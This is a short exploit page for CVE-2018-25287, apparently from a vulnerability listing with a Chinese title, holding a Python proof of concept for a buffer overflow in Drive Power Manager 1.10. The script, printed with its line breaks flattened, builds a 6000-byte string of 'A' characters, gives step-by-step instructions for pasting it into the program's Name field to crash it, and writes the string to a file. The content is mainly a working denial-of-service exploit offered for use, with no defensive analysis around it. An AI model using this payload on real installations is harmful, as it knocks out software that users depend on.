CVE-2018-25287 Drive Power Manager缓冲区溢出漏洞

# PoC for CVE-2018-25287 # Drive Power Manager 1.10 Buffer Overflow (DoS) def generate_poc(): # The application crashes when receiving a string of approx 6000 bytes in the Name field payload = "A" * 6000 return payload if __name__ == "__main__": print("[+] Generating payload for CVE-2018-25287...") crash_string = generate_poc() # Instructions for manual testing print(f"[+] Payload length: {len(crash_string)} bytes") print("[+] Steps to reproduce:") print("1. Open Drive Power Manager 1.10") print("2. Locate the 'Name' input field") print(f"3. Paste the following string into the field: {crash_string}") print("4. Click the 'Register' button") print("5. The application should crash (Denial of Service)") # Optional: Save to file for easier copying with open("poc_cve_2018_25287.txt", "w") as f: f.write(crash_string) print("[+] Payload saved to poc_cve_2018_25287.txt")